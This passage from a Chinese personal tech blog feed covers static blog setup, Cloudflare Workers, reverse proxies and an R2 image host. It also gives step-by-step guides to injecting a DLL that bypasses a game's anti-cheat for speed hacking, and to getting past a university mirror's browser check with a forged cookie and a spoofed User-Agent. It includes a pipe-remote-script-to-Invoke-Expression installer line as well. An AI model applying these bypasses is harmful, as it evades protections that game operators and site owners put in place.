360. e.g. red: 0, teal: 200, cyan: 250, pink: 345 fixed: false, // Hide the theme color picker for visitors }, banner: { enable: true, src: 'https://eo-r2.2x.nz/myblog/img/222.webp', // Relative to the /src directory. Relative to the /public directory if it starts with '/' position: 'center', // Equivalent to object-position, only supports 'top', 'center', 'bottom'. 'center' by default credit: { enable: false, // Display the credit text of the banner image text: '', // Credit text to be displayed url: '' // (Optional) URL link to the original artwork or artist's page } }, favicon: [ // Leave this array empty to use the default favicon { src: 'https://q2.qlogo.cn/headimg_dl?dst_uin=2973517380&spec=5', // Path of the favicon, relative to the /public directory //theme: 'light', // (Optional) Either 'light' or 'dark', set only if you have different favicons for light and dark mode sizes: '128x128', // (Optional) Size of the favicon, set only if you have favicons of different sizes } ] } export const navBarConfig: NavBarConfig = { links: [ LinkPreset.Home, LinkPreset.Archive, LinkPreset.About, { name: '随机图', url: 'https://pic.onani.cn', // Internal links should not include the base path, as it is automatically added external: true, // Show an external link icon and will open in a new tab }, { name: 'GitHub', url: 'https://github.com/saicaca/fuwari', // Internal links should not include the base path, as it is automatically added external: true, // Show an external link icon and will open in a new tab }, ], } export const profileConfig: ProfileConfig = { avatar: 'https://eo-r2.2x.nz/myblog/img/111.webp', // Relative to the /src directory. Relative to the /public directory if it starts with '/' name: '二叉树树', bio: 'Protect What You Love./爱你所爱！', links: [ // { // name: 'Twitter', // icon: 'fa6-brands:twitter', // Visit https://icones.js.org/ for icon codes // You will need to install the corresponding icon set if it's not already included // `pnpm add @iconify-json/<icon-set-name>` // url: 'https://twitter.com', // }, // { // name: 'Steam', // icon: 'fa6-brands:steam', // url: 'https://store.steampowered.com', // }, { name: 'GitHub', icon: 'fa6-brands:github', url: 'https://github.com/afoim', }, { name: 'QQ', icon: 'fa6-brands:qq', url: 'https://qm.qq.com/q/Uy9kmDXHYO', }, { name: 'Email', icon: 'fa6-solid:envelope', url: 'mailto:email@example.com', }, ], } export const licenseConfig: LicenseConfig = { enable: true, name: 'CC BY-NC-SA 4.0', url: 'https://creativecommons.org/licenses/by-nc-sa/4.0/', } </code></pre> </li> </ul> </li> 清理多余文件。在根目录下的 src/content/posts</code> 文件夹中会有一些示例文章，这些文章介绍了一些MarkDown语法和技巧，可以让你更快上手Fuwari和fuwari，我们可以将其保存到别处 </li> 至此，你已经可以开始撰写文章了 </li> </ol> 让我们开始写作！</h4> 首先，在项目根目录执行：pnpm new-post <这里填写你的文章标题></code> </li> 然后，在根目录下的 src/content/posts</code> 文件夹中会多出一个 xxx.md</code>文件 </li> 我们使用MarkText打开这个文件，你可以看到一些基本信息，我们只需要关注几个重要的信息 </li> title: xxx published: 2024-10-14 description: '' image: '' tags: [] categories: '' draft: false lang: '' </code></pre> title：文章标题 </li> published：文章创建时间 </li> description：文章描述，正常会显示在文章标题下面 </li> image：文章封面图（同目录需要写 ./</code> 如：./https://eo-r2.2x.nz/myblog/img/2024-10-14-11-33-28-image.webp</code>） </li> tag：文章标签 </li> categories：文章分类 </li> </ul> </li> 我们还需要更改根目录下的 astro.config.mjs</code> 。在第34行更改 stie:</code> 为你的站点URL，如： site: "https://onani.cn",</code> </li> 欸？有的人就会问了，MarkDown固然好，但是我要如何处理图片的置入呢 </li> 这也很简单，多亏了MarkText这款软件，我们也可以像编辑Typecho一样直接使用Ctrl+CV来在MarkDown语法中置入图片，但是我们需要一些小设置： 依次点击：MarkText软件的左上角的三条杠 -> File -> Perferences -> 左侧的Image分类 -> 如图设置 -> 注意更改第一个选项为Copy开头的选项，将Perfer开关打开，然后上下两个文本框一个填写绝对路径一个填写相对路径 </li> </li> 这样，当置入图片时，会往 https://eo-r2.2x.nz/myblog/img</code> 文件夹复制一份，然后通过![1](https://eo-r2.2x.nz/myblog/img/1.webp)</code>写入MarkDown文件。这样网站就能成功读取到图片啦。而你只需要Ctrl+CV，其他操作MarkText都会自动处理 </li> </ul> </li> 至此，你已经会用MarkText编写MarkDown语法的博文了 </li> </ol> 本地预览，然后发布到Github</h4> 当你认为你的文章已经写得差不多时，想要看看效果？请到项目根目录执行：pnpm dev</code>，稍等片刻，你就可以本地预览你的博客啦 </li> 好！接下来我们需要使用Git将我们所做的更改发布到Github 首先，你需要让Git知道你是谁：git config --global user.name "你的Github用户名"</code>和git config --global user.email "你的Github邮箱@example.com"</code> </li> 然后，更改远程仓库为ssh*（如果是通过ssh克隆的不用改）：git remote set-url origin git@github.com:xxx/xxx</code> </li> 随后，让我们提交所有文件：git add .</code> </li> 之后，让我们发布一个本地提交：git commit -m "项目初始化"</code> </li> 最后，让我们将本地更改提交到远程仓库：git push</code> </li> </ul> </li> 此时，你的Github仓库应该已经有了新的提交 </li> </ol> 让Cloudflare连接上Github，使用Pages服务展示你的博客（FREE！）</h4> 前往Cloudflare的 Workers 和 Pages 页面，创建一个新Pages </li> 然后选择连接Git存储库，连接你的Github，随后设置构建命令：pnpm build</code> ，然后设置构建输出目录：dist</code> ，如图 </li> 绑定自定义域，访问自定义域即可访问你的博客！ </li> 随后，你只需要在本地编写文章，然后使用Git将更改推送到远程仓库</a>，Cloudflare就会自动部署，更新你的博客！ </li> </ol> 浏览器JS运行原理 2025-04-25T00:00:00+00:00 function a() { console.log("1"); Promise.resolve().then(() => { console.log("2"); }); } setTimeout(function () { console.log("3"); Promise.resolve().then(a); }, 0); Promise.resolve().then(function () { console.log("4"); }); console.log("5"); </code></pre> 浏览器是如何按部就班执行命令的？</h1> 浏览器的所有操作都由渲染主线程执行，渲染主线程将创建一个无限循环的任务执行已有的任务，当渲染主线程无任务时将从消息队列中拿取新的任务执行。所有任务遵循先来后到，不允许插队执行 视频分析： </iframe> 使用Cloudflare Worker搭建Github全站代理（防钓鱼） 2025-04-15T00:00:00+00:00 针对于Github这样的网站，我们无法仅使用一个透明的反向代理指向 Github.com</code> 来解决，因为Github官网还有许多外域依赖，比如 raw.githubusercontent.com</code> ，所以我们还需要写一个逻辑，让Worker重写Github传回的HTML，将其中的外域改为我们自己的域，同时建立多个解析替代 假如说原来用户访问： 用户 -> github.com -> raw.githubusercontent.com（被github.com请求） 那么我们的代理就是 用户 -> gh.072103.xyz -> raw-githubusercontent-com.072103.xyz（被gh.072103.xyz请求） 然后针对于 gh.072103.xyz 的请求由Worker反代到 github.com，而针对于 raw-githubusercontent-com.072103.xyz 的请求由Worker反代到 raw.githubusercontent.com 注意！这样去反代主流网站后，不久你的网站就会被标记为（钓鱼站点），因为你原封不动的克隆了人家站点并且没有显式屏蔽登录页面 所以接下来我们需要找到原站点的所有登录页逐一屏蔽，对于Github.com，我们需要屏蔽 /</code> /login</code> /signup</code> copilot</code> 你可以将其直接导向404，或者重定向到另外的网站，只要不让你的用户能在你的反代网站上能登录就可以 正式部署</h1> 教程视频： https://www.bilibili.com/video/BV1jGd6YpE8z </blockquote> 进入 dash.cloudflare.com 创建新Worker，选择Hello World模板 前往 GitHub - afoim/GithubSiteProxyForCloudflareWorker: 这是一个基于Cloudflare Workers的GitHub代理服务，允许通过替代域名访问GitHub资源，解决某些网络环境下GitHub访问受限的问题。代理服务通过域名映射和资源转发，提供无缝的GitHub浏览体验。</a> 复制 worker.js</code> 代码粘贴到你的Worker 观察域名配置 // 域名映射配置 const domain_mappings = { 'github.com': 'gh.', 'avatars.githubusercontent.com': 'avatars-githubusercontent-com.', 'github.githubassets.com': 'github-githubassets-com.', 'collector.github.com': 'collector-github-com.', 'api.github.com': 'api-github-com.', 'raw.githubusercontent.com': 'raw-githubusercontent-com.', 'gist.githubusercontent.com': 'gist-githubusercontent-com.', 'github.io': 'github-io.', 'assets-cdn.github.com': 'assets-cdn-github-com.', 'cdn.jsdelivr.net': 'cdn.jsdelivr-net.', 'securitylab.github.com': 'securitylab-github-com.', 'www.githubstatus.com': 'www-githubstatus-com.', 'npmjs.com': 'npmjs-com.', 'git-lfs.github.com': 'git-lfs-github-com.', 'githubusercontent.com': 'githubusercontent-com.', 'github.global.ssl.fastly.net': 'github-global-ssl-fastly-net.', 'api.npms.io': 'api-npms-io.', 'github.community': 'github-community.' }; </code></pre> 假如你的域名为 abc.com</code> 你需要将 gh.abc.com</code> avatars-githubusercontent-com.abc.com</code> ... 绑定到你的Worker，随后访问 gh.abc.com</code> 就能访问你自己的Github反代了 完整代码</h1> 参见Github仓库： https://github.com/afoim/GithubSiteProxyForCloudflareWorker 适用于高级玩家：</h1> 如果你想修改三级域名，比如将 gh.abc.com</code> 改为 github.abc.com</code> 等，直接更改域名映射配置对应键的值 可以添加和删除要重定向的路径，默认重定向到一个神秘的网站，都有注释，你可以自行更改 本项目也是一个任意全站反代模板，可以反代其他网站（注意需要大改代码） 崩坏星穹铁道全局加速 2025-04-15T00:00:00+00:00 注入一个DLL实现绕过ACE反作弊，然后用CE的变速精灵 正式开始</h1> 确保你安装了Virtual Studio 2022 中的工作负载：使用C++的桌面开发 克隆DLL源码仓库：GitHub - gmh5225/Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.</a> 前往 Releases · TsudaKageyu/minhook</a> 分别下载 bin</code> 和 lib</code> ，将其解压后寻找文件 libMinHook.x64.lib</code> 和 MinHook.h</code> 将其放到DLL源码仓库根目录 代码需要小改，这里省略 编译： MSBuild star_rail.sln /p:Configuration=Release /p:Platform=x64 /property:GenerateFullPaths=true </code></pre> 产物在： \x64\Release\star_rail.dll</code> 前往 Releases · master131/ExtremeInjector</a> 下载并解压，得到 Extreme Injector v3.exe</code> 正常打开游戏，运行 Extreme Injector v3.exe</code> ，选择游戏进程，注入刚刚编译出来的DLL 前往 https://www.cheatengine.org/ 下载CE，打开CE，如果游戏没有闪退或者弹出反作弊窗口，则证明注入成功。接下来选择游戏进程，开启变速精灵，2-5倍速即可。Enjoy it！ 绕过USTC的浏览器JS验证 2025-04-04T00:00:00+00:00 当我们去下载类似于 https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso 这样的大文件时，USTC大概率会给你一个这样的：正在验证你的浏览器的页面 如果你正在使用一个浏览器，比如Chrome、FireFox等，那过几秒你就能看到文件被成功开始下载 但是，如果你正在使用wget等无JS特性的工具下载这类文件，你将会被网站服务器拒绝： ERROR 403: Forbidden. ~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso --2025-04-04 14:44:13-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 2025-04-04 14:44:14 ERROR 403: Forbidden. </code></pre> 在之前，如果我想要下载这类文件我都会使用浏览器去下载，但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了 于是我便想深挖一下，然后发现其实根本不是什么JS验证！！！ 分析</h1> 让我们首先打开这类链接，然后查询网页源代码 <h1>Verifying your browser</h1> Additional verification is required for this file you requested. This page requires JavaScript. Please wait for a few seconds. <div class="footer"> Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa </div> <script> document.cookie = "addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300"; setTimeout(function () { location.reload(); }, 2000); </script> </code></pre> 你会发现，代码其实非常简洁干练，如果你的浏览器支持JavaScript，浏览器则会将 addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa</code>这一串内容写入你的Cookie，之后等待两秒重载页面，然后网站发现你携带了这个Cookie，就会让你成功下载了。反之，如果你的浏览器不支持JavaScript，就会触发403，导致无法下载 那么这个addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa</code>到底是什么呢？ 我们注意到在网页上还显示了一句：Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa</code>，那么显然，网站正是通过你能不能通过JS把你的IP写入你的Cookie来验证你的浏览器的 那么换一个思路去想，我是不是只要携带了这个Cookie，就能绕过JS验证呢？ 让我们来试一试 实战</h1> 首先我们使用默认的wget。403 root@AcoFork-NAS:~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso --2025-04-04 14:55:00-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 2025-04-04 14:55:00 ERROR 403: Forbidden. </code></pre> 然后让我们携带上Cookie，但是首先我们要获得网站获取到的我们的访问IP。 这很简单，我们先用curl得到网页源码。可以看到网页得到的我们的访问IP为：2409:8a30:320:6480::458</code> root@AcoFork-NAS:~# curl https://mirrors.ustc.edu.cn/dbian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>403 Forbidden</title> <style> 这里是无关紧要的CSS，省略 </style> </head> <body> <h1>403 Forbidden</h1> USTC Mirrors has denied your access due to one of the following reasons: 1. This directory is not intended for web browsing. 2. Your computer or network has exhibited suspicious activity. If you have any question, email us at lug (AT) ustc.edu.cn with your IP address. <div class="footer"> Your IP address is 2409:8a30:320:6480::458 </div> </body> </html> </code></pre> 接下来让我们携带Cookie：addr=2409:8a30:320:6480::458</code>，再次尝试wget。可惜仍然报错，思考了一下，我们可能需要伪造一下UA root@AcoFork-NAS:~# wget --header="Cookie: addr=2409:8a30:320:6480::458" \ https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso --2025-04-04 14:57:58-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 2025-04-04 14:57:58 ERROR 403: Forbidden. </code></pre> 那么接下来我们携带必要的Cookie，再去伪造一个Chrome浏览器的UA。可见，已经成功下载 root@AcoFork-NAS:~# wget --header="Cookie: addr=2409:8a30:320:6480::458" \ --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" \ "https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso" --2025-04-04 14:59:24-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3994091520 (3.7G) [application/octet-stream] Saving to: ‘debian-12.10.0-amd64-DVD-1.iso.2’ debian-12.10.0-amd64-DVD-1.iso.2- 5%[> ] 207.26M 72.9MB/s </code></pre> </h1> Netlify、Vercel反代网站 2025-04-04T00:00:00+00:00 现阶段大部分家宽拿不到公网IPv4，但是可以拿到公网IPv6，借助Netlify做一个v6 -> v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程，不过这玩意在2025年仍然不支持IPv6，只能拿来反代小黄站了ToT 正式开始</h1> Netlify篇</h2> 首先前往 https://app.netlify.com/ 注册账号。（注意！最好使用谷歌邮箱去注册，其他方式注册可能会出现什么你的账号需要验证/激活，然后巴拉巴拉很麻烦）接下来去Github开一个新仓库，根目录创建一个 netlify.toml</code>。在其中写入 [[redirects]] from = "/*" to = "http://反代域名:反代端口/:splat" status = 200 force = true </code></pre> 注意，端口后面的斜杠一定不要丢！家宽v6网站建议搭配DDNS食用接下来回到 https://app.netlify.com/ 创建一个新项目，导入你刚创建的Github项目，部署即可最后绑定一下你的域名，完成！ Vercel篇</h2> 首先前往 https://vercel.com/ 注册并登录你的账号电脑安装Nodejs，我们需要用到npm 安装Vercel CLI npm i -g vercel </code></pre> 登录Vercel CLI vercel login </code></pre> 找个地方（比如桌面）创建一个你随意命名的文件夹，然后在其中创建一个你随意命名的.json文件，其中写入。注意，目前Vercel不支持反代IPv6！！！ { "version": 2, "routes": [ {"src": "/(.*)","dest": "https://反代域名:端口"} ] } </code></pre> 然后部署 verceL -A 你随意命名的.json --prod </code></pre> 最后绑定一下你的域名，完成！ 卧室布局整改记录 2025-04-04T00:00:00+00:00 我的卧室曾经是这样的，如你所见，非常杂乱且布线乱七八糟 契机</h1> 今天早上起来我灵机一动，想着要不要整理一下，于是变成了 结束咯~ 自建邮局太麻烦？来用网易免费企业邮！绑定你的域名收发自如！ 2025-03-12T00:00:00+00:00 最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。 我当时就很好奇，就去问他你这个邮箱是自建的吗？ 因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱，但是这需要金钱和时间成本，而且我认为不大稳定，所以一直就没有试过，而且我觉得我当时的acofork@foxmail.com这个邮箱虽然是托管在QQ的，但是也够用了。 然后他说他用的是Cloudflare的邮件转发服务，我就心想这cf还能干这个，一番操作以下发现还真能。 在cf的域名配置中有一个电子邮件转发，可以将发给你域名的邮件转发到你自己用的邮箱，比如发给sikosiko@onani.cn的邮件会被cf转发给我的私用邮箱acofork@foxmail.com。 但是因为是转发，那么如果你想要以sikosiko@onani.cn这个身份发邮件就需要费一番周折了。我用的foxmail.com被腾讯收购了，现在作为QQ邮箱的服务提供，而QQ邮箱要绑定域名需要购买万恶的VIP，于是就只能通过Outlook、Gmail等支持免费绑定域名作为别名的邮箱来发邮件 但这也太割裂了吧，我在QQ邮箱上收到，然后还要去Outlook或者Gmail上面回复？于是我后面也还是继续使用我的私用邮箱，不去折腾什么域名邮箱了，毕竟方便比什么都重要 但是话又说回来，最近发现了这个网易免费企业邮，可以免费绑定你的域名用作域名邮箱，并且直接将MX解析解析到网易，既能收，也能发。而且这个项目也不是刚出的，貌似在2015就已经有了，所以也不用担心灵车，至少比你自建的稳定😋 正式开始</h1> 创建账号并配置管理员</h2> 首先前往网易免费企业邮箱</a> 创建一个账号。直接用手机号注册 注意，注册完毕后登录账户名和登录密码会通过短信发给你，然后前往 https://mail.qiye.163.com/ 进行登录 如果你不喜欢系统随机生成的密码，可以先点击忘记密码，然后填写账户名，验证绑定的手机号后即可重置密码 登陆进去后大概是这样 如果你不喜欢你的账户名，比如我的就是 erchashush @acofork.freeqiye.com，这个erchashush其实是可以更改的 在组织机构管理中点击账号管理，选择新建账号 然后写一个你想要的别名。绑定手机填你的，因为第一次登录需要验证码验证，如果填错了直接删除即可 然后我们需要给这个新账号提权，如果你想用superadmin登录后台的话 接着右上角退出登录，然后使用新创建的管理员账户登录 绑定你的域名</h2> 前往组织机构管理 - 域名管理 - 添加域名 根据提示在你的域名提供商（比如Cloudflare）配置TXT记录和MX记录即可 登录你的邮箱</h2> 前往网易邮箱大师-高效强大的全平台邮箱客户端</a> 下载对应的版本 使用你的邮箱 + 密码进行登录即可。如果需要手机验证验证即可。最好下载一个手机端的网易邮箱大师，在手机端登录后任何其他平台登录都会需要手机端授权，更安全 效果展示</h2> 签名和发件人头像可以通过手机的网易邮箱大师设置 Cloudflare R2+Workers！马上搭建自己的云上图床！ 2025-03-05T00:00:00+00:00 结果图</h3> 原理</h3> 图源由 Cloudflare R2 托管，通过两个 Workers 连接 R2 以展示随机横屏/竖屏图片，静态页面引用 Workers 的 URL 以实现以上界面 创建 Cloudflare R2 存储桶</h3> R2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问 进入Cloudflare 仪表盘</a>，进入 R2 页面，如图 </li> 选择创建存储桶 </li> 为你的存储桶起一个名字，然后单击创建 </li> 进入如下页面就已经创建完毕了 </li> 返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输，所以需要创建你的 R2 API 令牌，单击管理 R2 API 令牌 </li> 单击创建 API 令牌，如图 </li> 因为我们需要该 API 来管理单个 R2 存储桶，所以选择对象读和写，详细配置如图 </li> 创建 API 令牌后，新页面会展示令牌的详细信息，仅会展示一次！！！ 保持这个页面，直到你将该页面的所有信息都已经妥善保存，不要关闭界面，否则，你需要轮转 API 令牌以禁用之前的旧密钥，如图 </li> 确保你已经妥善保存你的 R2 API 令牌，然后进行下一步 </li> </ol> 为你的存储桶添加文件</h3> 因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传 笔者使用 Windows。前往AList - Github Release</a>下载适用于 Windows 的最新可执行文件，如图 </li> 将下载的压缩包解压，并将其中的alist.exe</code>放入一个空文件夹 </li> 单击搜索框，输入 cmd 并回车，如图 </li> 在 cmd 中输入alist.exe server</code>并且不要关闭窗口，运行成功后如图 </li> 打开浏览器，输入localhost:5244</code>即可进入 AList 控制台，如图 </li> 用户名：admin</code>密码：在cmd窗口中，如图</code>。你可以使用鼠标左键在终端中框选内容然后单击鼠标右键进行复制操作 </li> 注意，在 cmd 中，鼠标左键点击或拖动 cmd 的终端界面会导致进入选择状态，程序将会被系统阻塞，需要在终端界面点按鼠标右键解除。若进程被阻塞，cmd 的进程名会多一个选择，请注意。如图是程序被阻塞的例子，在终端界面点按鼠标右键即可解除 </li> 现在，你已经成功以管理员身份登入了 AList单击最下面的管理 </li> 你会进入到如图界面。尽管 AList 运行在本地，也建议更改你的用户名和密码 </li> 更改账密，重新以新账密登录 </li> 进入控制台，然后单击存储，如图 </li> 选择添加，如图 </li> 详细配置如图。挂载路径即 AList 展示路径，推荐使用/R2/你的存储桶名字</code>，地区为auto</code>回到主页，如图 </li> 尝试上传文件，如图 </li> 可以看到，速度非常快 </li> 为你的图床创建目录以分类横屏和竖屏图等，以便下文使用 Workers 连接 R2 来调用。后文我将使用R2的/ri/h</code> 路径作为横屏随机图目录、/ri/v</code> 路径作为竖屏随机图目录 </li> </ol> 创建 Workers，连接 R2</h3> 进入Cloudflare 仪表盘</a>，进入 Workers 和 Pages 页面，如图 </li> 单击创建，选择创建 Workers，名称自取，单击部署 </li> 选择编辑代码 </li> 粘贴代码（创建随机横屏图）： </li> </ol> 新代码： export default { async fetch(request, env, ctx) { const bucket = env.MY_BUCKET; const url = new URL(request.url); const hostname = url.hostname; // 初始化prefix let prefix = ''; // 根据域名判断prefix if (hostname === 'hpic.072103.xyz' || hostname === 'api-hpic.072103.xyz') { prefix = 'ri/h/'; } else if (hostname === 'vpic.072103.xyz' || hostname === 'api-vpic.072103.xyz') { prefix = 'ri/v/'; } else { return new Response('Invalid domain', { status: 400 }); } try { // 如果是API域名，只返回数量 if (hostname.startsWith('api-')) { const objects = await bucket.list({ prefix: prefix }); const count = objects.objects.length; const headers = new Headers({ 'Access-Control-Allow-Origin': '*', 'Content-Type': 'text/plain' }); return new Response(count.toString(), { headers }); } // 原有的随机图片逻辑 const objects = await bucket.list({ prefix: prefix }); const items = objects.objects; if (items.length === 0) { return new Response('No images found', { status: 404 }); } const randomItem = items[Math.floor(Math.random() * items.length)]; const object = await bucket.get(randomItem.key); if (!object) { return new Response('Image not found', { status: 404 }); } const headers = new Headers(); headers.set('Content-Type', object.httpMetadata.contentType || 'image/jpeg'); return new Response(object.body, { headers }); } catch (error) { console.error('Error:', error); return new Response('Internal Server Error', { status: 500 }); } }, }; </code></pre> 旧代码： export default { async fetch(request, env, ctx) { // R2 bucket 配置 const bucket = env.MY_BUCKET; try { // 列出 /ri/h 目录下的所有对象 const objects = await bucket.list({ prefix: 'ri/h/' }); // 从列表中随机选择一个对象 const items = objects.objects; if (items.length === 0) { return new Response('No images found', { status: 404 }); } const randomItem = items[Math.floor(Math.random() * items.length)]; // 获取选中对象 const object = await bucket.get(randomItem.key); if (!object) { return new Response('Image not found', { status: 404 }); } // 设置适当的 Content-Type const headers = new Headers(); headers.set('Content-Type', object.httpMetadata.contentType || 'image/jpeg'); // 返回图片内容 return new Response(object.body, { headers }); } catch (error) { console.error('Error:', error); return new Response('Internal Server Error', { status: 500 }); } }, }; </code></pre> 点击左侧的文件图标 </li> 在wrangler.toml</code>中填入： </li> </ol> [[r2_buckets]] binding = "MY_BUCKET" bucket_name = "114514" </code></pre> 保存修改，点击右上角的部署 </li> 在设置 - 变量找到 R2 存储桶绑定，添加你的存储桶，变量名即上文的MY_BUCKET</code> </li> 在设置 - 触发器添加你的自定义域名以便访问 </li> 访问效果，每次刷新都不一样 </li> </ol> 通过使用 HTML 的 <img></code> 标签引用即可达到开头的效果</h3> 如：<img src="你的域名" alt=""></code> Hugo博客搭建教程以及配置调优 2025-03-03T00:00:00+00:00 曾经我写过一篇文章叫做：Fuwari静态博客搭建教程</a>。 文中的Fuwari</a>是基于Astro的，并且使用了服务器+客户端的混合渲染，尽管UI确实好看，但因为本人不会写Astro导致日后维护特别困难（比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游）。 最后我放弃了，既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢？ 于是我便询问AI，Claude推荐我使用Hugo。 其实我早就曾听闻Hugo的大名，但是并没有深入研究，但是Claude又告诉我Hugo采用Go语言进行编译，速度快，而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。 于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大：迁移方便，二改简单，构建迅速 正式开始</h1> 请全程在Windows上操作 </blockquote> 我们首先需要安装Scoop，这是一个适用于Windows的包管理器，个人认为非常好用 Scoop默认会安装到C盘，如果你想要换盘请按需更改 $env:SCOOP='D:\Scoop' $env:SCOOP_GLOBAL='D:\ScoopApps' [Environment]::SetEnvironmentVariable('SCOOP', $env:SCOOP, 'User') [Environment]::SetEnvironmentVariable('SCOOP_GLOBAL', $env:SCOOP_GLOBAL, 'Machine') </code></pre> 安装Scoop： Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression </code></pre> 如果你以管理员的身份会安装失败，请切换为普通用户。若想强制以管理员身份安装Scoop请使用 github原帖</a> 出于安全考虑，默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop，请下载安装程序并在提升的控制台中手动执行它，使用 -RunAsAdmin</code> 参数。以下是示例： irm get.scoop.sh -outfile 'install.ps1' .\install.ps1 -RunAsAdmin [-OtherParameters ...] # 如果你想要一行解决： iex "& {$(irm get.scoop.sh)} -RunAsAdmin" </code></pre> 安装Hugo框架： scoop install hugo </code></pre> 然后选择一个你喜欢的文件夹创建你的站点。 myblog</code> 即你的站点文件夹名称 hugo new site myblog cd myblog </code></pre> 安装PaperMod主题： git clone https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod </code></pre> 站点根目录会有一个 hugo.toml</code>。我推荐使用YAML。将文件重命名为 hugo.yaml</code>。粘贴并更改以下内容 baseURL: "https://站点url" title: "网站标题" LanguageCode: "zh-CN" theme: "PaperMod" # 启用首页个人简介展示 params: # 是否启用评论。你需要自己配置，或者直接引入Giscus等评论系统 comments: false # 是否显示代码复制按钮 ShowCodeCopyButtons: true # 是否显示面包屑导航 ShowBreadCrumbs: false # 是否显示阅读时间 ShowReadingTime: true # 是否显示分享按钮 ShowShareButtons: true # 分享按钮配置 # ShareButtons: ["linkedin", "twitter"] # 是否禁用主题切换按钮 disableThemeToggle: false assets: favicon: "/你的/网站图标.jpg" # 需要在static文件夹放置对应的图片 iconHeight: 35 # 首页信息配置 homeInfoParams: Title: "首页展示的标题" Content: > 首页展示的文本 # 设置网站头像和首页头像 profileMode: enabled: false # 设为 true 将完全替换 homeInfoParams # 网站头像设置 (显示在导航栏) label: text: "左上角显示的文本" icon: "/你的/左上角显示的图片.jpg" # 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片 iconHeight: 35 # 社交图标 (显示在简介下方) socialIcons: - name: bilibili url: "" - name: github url: "" - name: telegram url: "" # 可以添加更多社交图标 https://github.com/adityatelange/hugo-PaperMod/wiki/Icons # 顶部导航栏的快捷链接 menu: main: - identifier: categories name: 分类 url: /categories/ weight: 10 - identifier: tags name: 标签 url: /tags/ weight: 20 - identifier: archives name: 归档 url: /archives/ weight: 30 - identifier: search name: 搜索 url: /search/ weight: 40 # 可以添加更多导航链接。weight的值越高排序越靠后 # 如果要启用搜索功能，需要添加这个 outputs: home: - HTML - RSS - JSON # 必须，用于搜索功能 </code></pre> 然后我们需要分别配置分类、标签、归档和搜索页 创建 content\categories\_index.md</code> 写入： --- title: 分类 layout: categories --- </code></pre> 创建 content\tags\_index.md</code> 写入： --- title: 标签 layout: tags --- </code></pre> 创建 content\archives.md</code> 写入： --- title: 归档 layout: archives --- </code></pre> 创建 content\search.md</code> 写入： --- title: "搜索" layout: "search" --- </code></pre> 然后我们要更改默认的文章创建模板 在 archetypes\default.md</code> 写入： --- title: {{ replace .File.ContentBaseName "-" " " | title }} published: {{ .Date }} summary: "文章简介" cover: image: 文章封面图。也支持HTTPS tags: [标签1, 标签2] categories: '文章所处的分类' draft: false lang: 